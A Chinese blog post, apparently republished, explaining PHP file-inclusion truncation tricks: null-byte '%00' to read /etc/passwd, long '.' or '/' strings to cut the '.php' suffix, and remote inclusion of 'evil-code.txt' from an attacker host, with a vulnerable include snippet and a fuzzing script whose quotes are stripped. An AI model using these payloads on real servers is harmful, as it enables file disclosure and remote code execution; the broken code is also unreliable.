php fopen 找不着文件,fopen 系统找不到指定路径 PHP文件包含详细讲述(4)

test.txt 代码

结果截断失败,改下代码:

$webpath = dirname(__FILE__)."/";

$filepath = "test.txt";

for($i =1;$i<1000;$i++){

$filepath .= .;

}

include $filepath.".php"; //相对路径

?>

这次成功。

以上是windows下的方法,其实linux也可以:

include截断

include $_GET[action].".php";

?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?

肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

var5.php代码:

include $_GET[action].".php";

print strlen(realpath("./"))+strlen($_GET[action]);

///

ini_set(max_execution_time, 0);

$str=;

for($i=0;$i<50000;$i++)

{

$str=$str."/";

$resp=file_get_contents(http://127.0.0.1/var/var5.php?action=1.txt.$str);

//1.txt里的代码为print hi;

if (strpos($resp, hi) !== false){

print $i;

exit;

}

}

?>

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET[action])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])

推荐文章:

关于PHP文件包含一些漏洞分析

关于PHP文件包含一些漏洞分析。fopen 系统找不到指定路径文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值